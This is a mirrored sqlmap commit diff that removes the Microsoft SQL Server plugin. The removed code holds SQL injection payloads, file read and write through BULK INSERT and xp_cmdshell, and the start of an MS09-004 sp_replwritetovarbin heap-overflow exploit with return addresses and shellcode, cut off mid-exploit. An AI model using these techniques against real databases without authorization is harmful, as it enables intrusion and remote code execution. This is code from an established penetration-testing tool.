mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-29 04:53:48 +03:00
Major code refactoring: moved and split plugins (mysql, pgsql, mssql, oracle) more granularly and organized.
Todo for firebird, sqlite, access.
This commit is contained in:
parent
f9a135e232
commit
09768a7b62
|
@ -1,694 +0,0 @@
|
||||||
#!/usr/bin/env python
|
|
||||||
|
|
||||||
"""
|
|
||||||
$Id$
|
|
||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
|
||||||
|
|
||||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
|
||||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
|
||||||
the terms of the GNU General Public License as published by the Free
|
|
||||||
Software Foundation version 2 of the License.
|
|
||||||
|
|
||||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
|
||||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
|
||||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
|
||||||
details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU General Public License along
|
|
||||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|
||||||
"""
|
|
||||||
|
|
||||||
import binascii
|
|
||||||
import os
|
|
||||||
import time
|
|
||||||
|
|
||||||
from lib.core.agent import agent
|
|
||||||
from lib.core.common import formatDBMSfp
|
|
||||||
from lib.core.common import formatFingerprint
|
|
||||||
from lib.core.common import getHtmlErrorFp
|
|
||||||
from lib.core.common import getRange
|
|
||||||
from lib.core.common import posixToNtSlashes
|
|
||||||
from lib.core.common import randomInt
|
|
||||||
from lib.core.common import randomStr
|
|
||||||
from lib.core.convert import urlencode
|
|
||||||
from lib.core.data import conf
|
|
||||||
from lib.core.data import kb
|
|
||||||
from lib.core.data import logger
|
|
||||||
from lib.core.data import queries
|
|
||||||
from lib.core.exception import sqlmapNoneDataException
|
|
||||||
from lib.core.exception import sqlmapSyntaxException
|
|
||||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
|
||||||
from lib.core.session import setDbms
|
|
||||||
from lib.core.settings import MSSQL_ALIASES
|
|
||||||
from lib.core.settings import MSSQL_SYSTEM_DBS
|
|
||||||
from lib.core.unescaper import unescaper
|
|
||||||
from lib.request import inject
|
|
||||||
from lib.request.connect import Connect as Request
|
|
||||||
|
|
||||||
from plugins.generic.enumeration import Enumeration
|
|
||||||
from plugins.generic.filesystem import Filesystem
|
|
||||||
from plugins.generic.fingerprint import Fingerprint
|
|
||||||
from plugins.generic.misc import Miscellaneous
|
|
||||||
from plugins.generic.takeover import Takeover
|
|
||||||
|
|
||||||
|
|
||||||
class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|
||||||
"""
|
|
||||||
This class defines Microsoft SQL Server methods
|
|
||||||
"""
|
|
||||||
|
|
||||||
def __init__(self):
|
|
||||||
self.excludeDbsList = MSSQL_SYSTEM_DBS
|
|
||||||
|
|
||||||
Enumeration.__init__(self, "Microsoft SQL Server")
|
|
||||||
Filesystem.__init__(self)
|
|
||||||
Takeover.__init__(self)
|
|
||||||
|
|
||||||
unescaper.setUnescape(MSSQLServerMap.unescape)
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def unescape(expression, quote=True):
|
|
||||||
if quote:
|
|
||||||
while True:
|
|
||||||
index = expression.find("'")
|
|
||||||
if index == -1:
|
|
||||||
break
|
|
||||||
|
|
||||||
firstIndex = index + 1
|
|
||||||
index = expression[firstIndex:].find("'")
|
|
||||||
|
|
||||||
if index == -1:
|
|
||||||
raise sqlmapSyntaxException("Unenclosed ' in '%s'" % expression)
|
|
||||||
|
|
||||||
lastIndex = firstIndex + index
|
|
||||||
old = "'%s'" % expression[firstIndex:lastIndex]
|
|
||||||
#unescaped = "("
|
|
||||||
unescaped = ""
|
|
||||||
|
|
||||||
for i in range(firstIndex, lastIndex):
|
|
||||||
unescaped += "CHAR(%d)" % (ord(expression[i]))
|
|
||||||
if i < lastIndex - 1:
|
|
||||||
unescaped += "+"
|
|
||||||
|
|
||||||
#unescaped += ")"
|
|
||||||
expression = expression.replace(old, unescaped)
|
|
||||||
else:
|
|
||||||
expression = "+".join("CHAR(%d)" % ord(c) for c in expression)
|
|
||||||
|
|
||||||
return expression
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def escape(expression):
|
|
||||||
while True:
|
|
||||||
index = expression.find("CHAR(")
|
|
||||||
if index == -1:
|
|
||||||
break
|
|
||||||
|
|
||||||
firstIndex = index
|
|
||||||
index = expression[firstIndex:].find("))")
|
|
||||||
|
|
||||||
if index == -1:
|
|
||||||
raise sqlmapSyntaxException("Unenclosed ) in '%s'" % expression)
|
|
||||||
|
|
||||||
lastIndex = firstIndex + index + 1
|
|
||||||
old = expression[firstIndex:lastIndex]
|
|
||||||
oldUpper = old.upper()
|
|
||||||
oldUpper = oldUpper.replace("CHAR(", "").replace(")", "")
|
|
||||||
oldUpper = oldUpper.split("+")
|
|
||||||
|
|
||||||
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
|
|
||||||
expression = expression.replace(old, escaped)
|
|
||||||
|
|
||||||
return expression
|
|
||||||
|
|
||||||
def getFingerprint(self):
|
|
||||||
value = ""
|
|
||||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
|
||||||
|
|
||||||
if wsOsFp:
|
|
||||||
value += "%s\n" % wsOsFp
|
|
||||||
|
|
||||||
if kb.data.banner:
|
|
||||||
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
|
||||||
|
|
||||||
if dbmsOsFp:
|
|
||||||
value += "%s\n" % dbmsOsFp
|
|
||||||
|
|
||||||
value += "back-end DBMS: "
|
|
||||||
actVer = formatDBMSfp()
|
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
|
||||||
value += actVer
|
|
||||||
return value
|
|
||||||
|
|
||||||
blank = " " * 15
|
|
||||||
value += "active fingerprint: %s" % actVer
|
|
||||||
|
|
||||||
if kb.bannerFp:
|
|
||||||
release = kb.bannerFp["dbmsRelease"] if 'dbmsRelease' in kb.bannerFp else None
|
|
||||||
version = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
|
|
||||||
servicepack = kb.bannerFp["dbmsServicePack"] if 'dbmsServicePack' in kb.bannerFp else None
|
|
||||||
|
|
||||||
if release and version and servicepack:
|
|
||||||
banVer = "Microsoft SQL Server %s " % release
|
|
||||||
banVer += "Service Pack %s " % servicepack
|
|
||||||
banVer += "version %s" % version
|
|
||||||
|
|
||||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
|
||||||
|
|
||||||
htmlErrorFp = getHtmlErrorFp()
|
|
||||||
|
|
||||||
if htmlErrorFp:
|
|
||||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
|
||||||
|
|
||||||
return value
|
|
||||||
|
|
||||||
def checkDbms(self):
|
|
||||||
if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
|
|
||||||
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
|
|
||||||
|
|
||||||
self.getBanner()
|
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
|
||||||
kb.os = "Windows"
|
|
||||||
|
|
||||||
return True
|
|
||||||
|
|
||||||
infoMsg = "testing Microsoft SQL Server"
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)")
|
|
||||||
result = Request.queryPage(payload)
|
|
||||||
|
|
||||||
if result:
|
|
||||||
infoMsg = "confirming Microsoft SQL Server"
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
for version in (0, 5, 8):
|
|
||||||
randInt = randomInt()
|
|
||||||
query = " AND %d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1))
|
|
||||||
payload = agent.fullPayload(query)
|
|
||||||
result = Request.queryPage(payload)
|
|
||||||
|
|
||||||
if result:
|
|
||||||
if version == 8:
|
|
||||||
kb.dbmsVersion = ["2008"]
|
|
||||||
|
|
||||||
break
|
|
||||||
|
|
||||||
elif version == 5:
|
|
||||||
kb.dbmsVersion = ["2005"]
|
|
||||||
|
|
||||||
break
|
|
||||||
|
|
||||||
elif version == 0:
|
|
||||||
kb.dbmsVersion = ["2000"]
|
|
||||||
|
|
||||||
break
|
|
||||||
|
|
||||||
else:
|
|
||||||
query = " AND %d=(SELECT (CASE WHEN (SUBSTRING((@@VERSION), 22, 1)=7) THEN %d ELSE %d END))" % (randInt, randInt, (randInt + 1))
|
|
||||||
payload = agent.fullPayload(query)
|
|
||||||
result = Request.queryPage(payload)
|
|
||||||
|
|
||||||
if result:
|
|
||||||
kb.dbmsVersion = ["7.0"]
|
|
||||||
|
|
||||||
break
|
|
||||||
|
|
||||||
if kb.dbmsVersion:
|
|
||||||
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
|
|
||||||
else:
|
|
||||||
setDbms("Microsoft SQL Server")
|
|
||||||
|
|
||||||
self.getBanner()
|
|
||||||
|
|
||||||
kb.os = "Windows"
|
|
||||||
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
warnMsg = "the back-end DMBS is not Microsoft SQL Server"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
return False
|
|
||||||
|
|
||||||
def checkDbmsOs(self, detailed=False):
|
|
||||||
if kb.os and kb.osVersion and kb.osSP:
|
|
||||||
return
|
|
||||||
|
|
||||||
if not kb.os:
|
|
||||||
kb.os = "Windows"
|
|
||||||
|
|
||||||
if not detailed:
|
|
||||||
return
|
|
||||||
|
|
||||||
infoMsg = "fingerprinting the back-end DBMS operating system "
|
|
||||||
infoMsg += "version and service pack"
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
|
||||||
|
|
||||||
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
|
|
||||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
|
|
||||||
|
|
||||||
versions = {"2003": ("5.2", (2, 1)),
|
|
||||||
#"2003": ("6.0", (2, 1)),
|
|
||||||
"2008": ("7.0", (1,)),
|
|
||||||
"2000": ("5.0", (4, 3, 2, 1)),
|
|
||||||
"XP": ("5.1", (2, 1)),
|
|
||||||
"NT": ("4.0", (6, 5, 4, 3, 2, 1))}
|
|
||||||
|
|
||||||
# Get back-end DBMS underlying operating system version
|
|
||||||
for version, data in versions.items():
|
|
||||||
query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
|
|
||||||
query += "LIKE '%Windows NT " + data[0] + "%')>0"
|
|
||||||
query = agent.forgeCaseStatement(query)
|
|
||||||
|
|
||||||
if inject.getValue(query, charsetType=1) == "1":
|
|
||||||
kb.osVersion = version
|
|
||||||
infoMsg += " %s" % kb.osVersion
|
|
||||||
|
|
||||||
break
|
|
||||||
|
|
||||||
if not kb.osVersion:
|
|
||||||
kb.osVersion = "2003"
|
|
||||||
kb.osSP = 2
|
|
||||||
|
|
||||||
warnMsg = "unable to fingerprint the underlying operating "
|
|
||||||
warnMsg += "system version, assuming it is Windows "
|
|
||||||
warnMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP)
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
self.cleanup(onlyFileTbl=True)
|
|
||||||
|
|
||||||
return
|
|
||||||
|
|
||||||
# Get back-end DBMS underlying operating system service pack
|
|
||||||
sps = versions[kb.osVersion][1]
|
|
||||||
|
|
||||||
for sp in sps:
|
|
||||||
query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
|
|
||||||
query += "LIKE '%Service Pack " + str(sp) + "%')>0"
|
|
||||||
query = agent.forgeCaseStatement(query)
|
|
||||||
|
|
||||||
if inject.getValue(query, charsetType=1) == "1":
|
|
||||||
kb.osSP = sp
|
|
||||||
break
|
|
||||||
|
|
||||||
if not kb.osSP:
|
|
||||||
debugMsg = "assuming the operating system has no service pack"
|
|
||||||
logger.debug(debugMsg)
|
|
||||||
|
|
||||||
kb.osSP = 0
|
|
||||||
|
|
||||||
if kb.osVersion:
|
|
||||||
infoMsg += " Service Pack %d" % kb.osSP
|
|
||||||
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
self.cleanup(onlyFileTbl=True)
|
|
||||||
|
|
||||||
def getPrivileges(self):
|
|
||||||
warnMsg = "on Microsoft SQL Server it is not possible to fetch "
|
|
||||||
warnMsg += "database users privileges"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
return {}
|
|
||||||
|
|
||||||
def getTables(self):
|
|
||||||
infoMsg = "fetching tables"
|
|
||||||
if conf.db:
|
|
||||||
infoMsg += " for database '%s'" % conf.db
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
rootQuery = queries[kb.dbms].tables
|
|
||||||
|
|
||||||
if not conf.db:
|
|
||||||
if not len(kb.data.cachedDbs):
|
|
||||||
dbs = self.getDbs()
|
|
||||||
else:
|
|
||||||
dbs = kb.data.cachedDbs
|
|
||||||
else:
|
|
||||||
if "," in conf.db:
|
|
||||||
dbs = conf.db.split(",")
|
|
||||||
else:
|
|
||||||
dbs = [conf.db]
|
|
||||||
|
|
||||||
if kb.unionPosition:
|
|
||||||
for db in dbs:
|
|
||||||
if conf.excludeSysDbs and db in self.excludeDbsList:
|
|
||||||
infoMsg = "skipping system database '%s'" % db
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
continue
|
|
||||||
|
|
||||||
query = rootQuery["inband"]["query"] % db
|
|
||||||
value = inject.getValue(query, blind=False)
|
|
||||||
|
|
||||||
if value:
|
|
||||||
kb.data.cachedTables[db] = value
|
|
||||||
|
|
||||||
if not kb.data.cachedTables:
|
|
||||||
for db in dbs:
|
|
||||||
if conf.excludeSysDbs and db in self.excludeDbsList:
|
|
||||||
infoMsg = "skipping system database '%s'" % db
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
continue
|
|
||||||
|
|
||||||
infoMsg = "fetching number of tables for "
|
|
||||||
infoMsg += "database '%s'" % db
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
query = rootQuery["blind"]["count"] % db
|
|
||||||
count = inject.getValue(query, inband=False, charsetType=2)
|
|
||||||
|
|
||||||
if not count.isdigit() or not len(count) or count == "0":
|
|
||||||
warnMsg = "unable to retrieve the number of "
|
|
||||||
warnMsg += "tables for database '%s'" % db
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
continue
|
|
||||||
|
|
||||||
tables = []
|
|
||||||
|
|
||||||
for index in range(int(count)):
|
|
||||||
query = rootQuery["blind"]["query"] % (db, index, db)
|
|
||||||
table = inject.getValue(query, inband=False)
|
|
||||||
tables.append(table)
|
|
||||||
|
|
||||||
if tables:
|
|
||||||
kb.data.cachedTables[db] = tables
|
|
||||||
else:
|
|
||||||
warnMsg = "unable to retrieve the tables "
|
|
||||||
warnMsg += "for database '%s'" % db
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
if not kb.data.cachedTables:
|
|
||||||
errMsg = "unable to retrieve the tables for any database"
|
|
||||||
raise sqlmapNoneDataException(errMsg)
|
|
||||||
|
|
||||||
return kb.data.cachedTables
|
|
||||||
|
|
||||||
def unionReadFile(self, rFile):
|
|
||||||
errMsg = "Microsoft SQL Server does not support file reading "
|
|
||||||
errMsg += "with UNION query SQL injection technique"
|
|
||||||
raise sqlmapUnsupportedFeatureException(errMsg)
|
|
||||||
|
|
||||||
def stackedReadFile(self, rFile):
|
|
||||||
infoMsg = "fetching file: '%s'" % rFile
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
result = []
|
|
||||||
txtTbl = self.fileTblName
|
|
||||||
hexTbl = "%shex" % self.fileTblName
|
|
||||||
|
|
||||||
self.createSupportTbl(txtTbl, self.tblField, "text")
|
|
||||||
inject.goStacked("DROP TABLE %s" % hexTbl)
|
|
||||||
inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
|
|
||||||
|
|
||||||
logger.debug("loading the content of file '%s' into support table" % rFile)
|
|
||||||
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
|
|
||||||
|
|
||||||
# Reference: http://support.microsoft.com/kb/104829
|
|
||||||
binToHexQuery = """
|
|
||||||
DECLARE @charset VARCHAR(16)
|
|
||||||
DECLARE @counter INT
|
|
||||||
DECLARE @hexstr VARCHAR(4096)
|
|
||||||
DECLARE @length INT
|
|
||||||
DECLARE @chunk INT
|
|
||||||
|
|
||||||
SET @charset = '0123456789ABCDEF'
|
|
||||||
SET @counter = 1
|
|
||||||
SET @hexstr = ''
|
|
||||||
SET @length = (SELECT DATALENGTH(%s) FROM %s)
|
|
||||||
SET @chunk = 1024
|
|
||||||
|
|
||||||
WHILE (@counter <= @length)
|
|
||||||
BEGIN
|
|
||||||
DECLARE @tempint INT
|
|
||||||
DECLARE @firstint INT
|
|
||||||
DECLARE @secondint INT
|
|
||||||
|
|
||||||
SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s))
|
|
||||||
SET @firstint = floor(@tempint/16)
|
|
||||||
SET @secondint = @tempint - (@firstint * 16)
|
|
||||||
SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1)
|
|
||||||
|
|
||||||
SET @counter = @counter + 1
|
|
||||||
|
|
||||||
IF @counter %% @chunk = 0
|
|
||||||
BEGIN
|
|
||||||
INSERT INTO %s(%s) VALUES(@hexstr)
|
|
||||||
SET @hexstr = ''
|
|
||||||
END
|
|
||||||
END
|
|
||||||
|
|
||||||
IF @counter %% (@chunk) != 0
|
|
||||||
BEGIN
|
|
||||||
INSERT INTO %s(%s) VALUES(@hexstr)
|
|
||||||
END
|
|
||||||
""" % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField)
|
|
||||||
|
|
||||||
binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ")
|
|
||||||
binToHexQuery = urlencode(binToHexQuery, convall=True)
|
|
||||||
inject.goStacked(binToHexQuery)
|
|
||||||
|
|
||||||
if kb.unionPosition:
|
|
||||||
result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), sort=False, resumeValue=False, blind=False)
|
|
||||||
|
|
||||||
if not result:
|
|
||||||
result = []
|
|
||||||
count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, hexTbl), resumeValue=False, charsetType=2)
|
|
||||||
|
|
||||||
if not count.isdigit() or not len(count) or count == "0":
|
|
||||||
errMsg = "unable to retrieve the content of the "
|
|
||||||
errMsg += "file '%s'" % rFile
|
|
||||||
raise sqlmapNoneDataException(errMsg)
|
|
||||||
|
|
||||||
indexRange = getRange(count)
|
|
||||||
|
|
||||||
for index in indexRange:
|
|
||||||
chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, sort=False, charsetType=3)
|
|
||||||
result.append(chunk)
|
|
||||||
|
|
||||||
inject.goStacked("DROP TABLE %s" % hexTbl)
|
|
||||||
|
|
||||||
return result
|
|
||||||
|
|
||||||
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
|
||||||
errMsg = "Microsoft SQL Server does not support file upload with "
|
|
||||||
errMsg += "UNION query SQL injection technique"
|
|
||||||
raise sqlmapUnsupportedFeatureException(errMsg)
|
|
||||||
|
|
||||||
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
|
||||||
# NOTE: this is needed here because we use xp_cmdshell extended
|
|
||||||
# procedure to write a file on the back-end Microsoft SQL Server
|
|
||||||
# file system. Maybe it won't be required to write text files
|
|
||||||
self.initEnv()
|
|
||||||
|
|
||||||
self.getRemoteTempPath()
|
|
||||||
|
|
||||||
debugMsg = "going to use xp_cmdshell extended procedure to write "
|
|
||||||
debugMsg += "the %s file content to file '%s'" % (fileType, dFile)
|
|
||||||
logger.debug(debugMsg)
|
|
||||||
|
|
||||||
debugSize = 0xFF00
|
|
||||||
tmpPath = posixToNtSlashes(conf.tmpPath)
|
|
||||||
dFileName = os.path.split(dFile)[1]
|
|
||||||
dFile = posixToNtSlashes(dFile)
|
|
||||||
wFileSize = os.path.getsize(wFile)
|
|
||||||
wFilePointer = open(wFile, "rb")
|
|
||||||
wFileContent = wFilePointer.read()
|
|
||||||
wFilePointer.close()
|
|
||||||
|
|
||||||
if wFileSize < debugSize:
|
|
||||||
chunkName = self.updateBinChunk(wFileContent, tmpPath)
|
|
||||||
sFile = "%s\%s" % (tmpPath, dFileName)
|
|
||||||
|
|
||||||
logger.debug("moving binary file %s to %s" % (sFile, dFile))
|
|
||||||
|
|
||||||
commands = ("cd %s" % tmpPath,
|
|
||||||
"ren %s %s" % (chunkName, dFileName),
|
|
||||||
"move /Y %s %s" % (dFileName, dFile))
|
|
||||||
complComm = " & ".join(command for command in commands)
|
|
||||||
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
|
||||||
|
|
||||||
self.execCmd(forgedCmd)
|
|
||||||
|
|
||||||
else:
|
|
||||||
infoMsg = "the %s file is bigger than %d " % (fileType, debugSize)
|
|
||||||
infoMsg += "bytes. sqlmap will split it into chunks, upload "
|
|
||||||
infoMsg += "them and recreate the original file out of the "
|
|
||||||
infoMsg += "binary chunks server-side, wait.."
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
counter = 1
|
|
||||||
|
|
||||||
for i in range(0, wFileSize, debugSize):
|
|
||||||
wFileChunk = wFileContent[i:i + debugSize]
|
|
||||||
chunkName = self.updateBinChunk(wFileChunk, tmpPath)
|
|
||||||
|
|
||||||
if i == 0:
|
|
||||||
infoMsg = "renaming chunk "
|
|
||||||
copyCmd = "ren %s %s" % (chunkName, dFileName)
|
|
||||||
else:
|
|
||||||
infoMsg = "appending chunk "
|
|
||||||
copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName)
|
|
||||||
|
|
||||||
infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName)
|
|
||||||
logger.debug(infoMsg)
|
|
||||||
|
|
||||||
commands = ("cd %s" % tmpPath,
|
|
||||||
copyCmd,
|
|
||||||
"del /F %s" % chunkName)
|
|
||||||
complComm = " & ".join(command for command in commands)
|
|
||||||
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
|
||||||
|
|
||||||
self.execCmd(forgedCmd)
|
|
||||||
|
|
||||||
logger.info("file chunk %d written" % counter)
|
|
||||||
|
|
||||||
counter += 1
|
|
||||||
|
|
||||||
sFile = "%s\%s" % (tmpPath, dFileName)
|
|
||||||
|
|
||||||
logger.debug("moving binary file %s to %s" % (sFile, dFile))
|
|
||||||
|
|
||||||
commands = ("cd %s" % tmpPath,
|
|
||||||
"move /Y %s %s" % (dFileName, dFile))
|
|
||||||
complComm = " & ".join(command for command in commands)
|
|
||||||
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
|
||||||
|
|
||||||
self.execCmd(forgedCmd)
|
|
||||||
|
|
||||||
if confirm:
|
|
||||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
|
||||||
|
|
||||||
def uncPathRequest(self):
|
|
||||||
#inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
|
|
||||||
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
|
|
||||||
|
|
||||||
def spHeapOverflow(self):
|
|
||||||
"""
|
|
||||||
References:
|
|
||||||
* http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx
|
|
||||||
* http://support.microsoft.com/kb/959420
|
|
||||||
"""
|
|
||||||
|
|
||||||
returns = {
|
|
||||||
# 2003 Service Pack 0
|
|
||||||
"2003-0": (""),
|
|
||||||
|
|
||||||
# 2003 Service Pack 1
|
|
||||||
"2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ),
|
|
||||||
|
|
||||||
# 2003 Service Pack 2 updated at 12/2008
|
|
||||||
#"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ),
|
|
||||||
|
|
||||||
# 2003 Service Pack 2 updated at 05/2009
|
|
||||||
"2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)")
|
|
||||||
|
|
||||||
# 2003 Service Pack 2 updated at 09/2009
|
|
||||||
#"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"),
|
|
||||||
}
|
|
||||||
addrs = None
|
|
||||||
|
|
||||||
for versionSp, data in returns.items():
|
|
||||||
version, sp = versionSp.split("-")
|
|
||||||
sp = int(sp)
|
|
||||||
|
|
||||||
if kb.osVersion == version and kb.osSP == sp:
|
|
||||||
addrs = data
|
|
||||||
|
|
||||||
break
|
|
||||||
|
|
||||||
if addrs is None:
|
|
||||||
errMsg = "sqlmap can not exploit the stored procedure buffer "
|
|
||||||
errMsg += "overflow because it does not have a valid return "
|
|
||||||
errMsg += "code for the underlying operating system (Windows "
|
|
||||||
errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP)
|
|
||||||
raise sqlmapUnsupportedFeatureException(errMsg)
|
|
||||||
|
|
||||||
shellcodeChar = ""
|
|
||||||
hexStr = binascii.hexlify(self.shellcodeString[:-1])
|
|
||||||
|
|
||||||
for hexPair in range(0, len(hexStr), 2):
|
|
||||||
shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
|
|
||||||
|
|
||||||
shellcodeChar = shellcodeChar[:-1]
|
|
||||||
|
|
||||||
self.spExploit = """
|
|
||||||
DECLARE @buf NVARCHAR(4000),
|
|
||||||
@val NVARCHAR(4),
|
|
||||||
@counter INT
|
|
||||||
SET @buf = '
|
|
||||||
DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int
|
|
||||||
EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
|
|
||||||
SET @val = CHAR(0x41)
|
|
||||||
SET @counter = 0
|
|
||||||
WHILE @counter < 3320
|
|
||||||
BEGIN
|
|
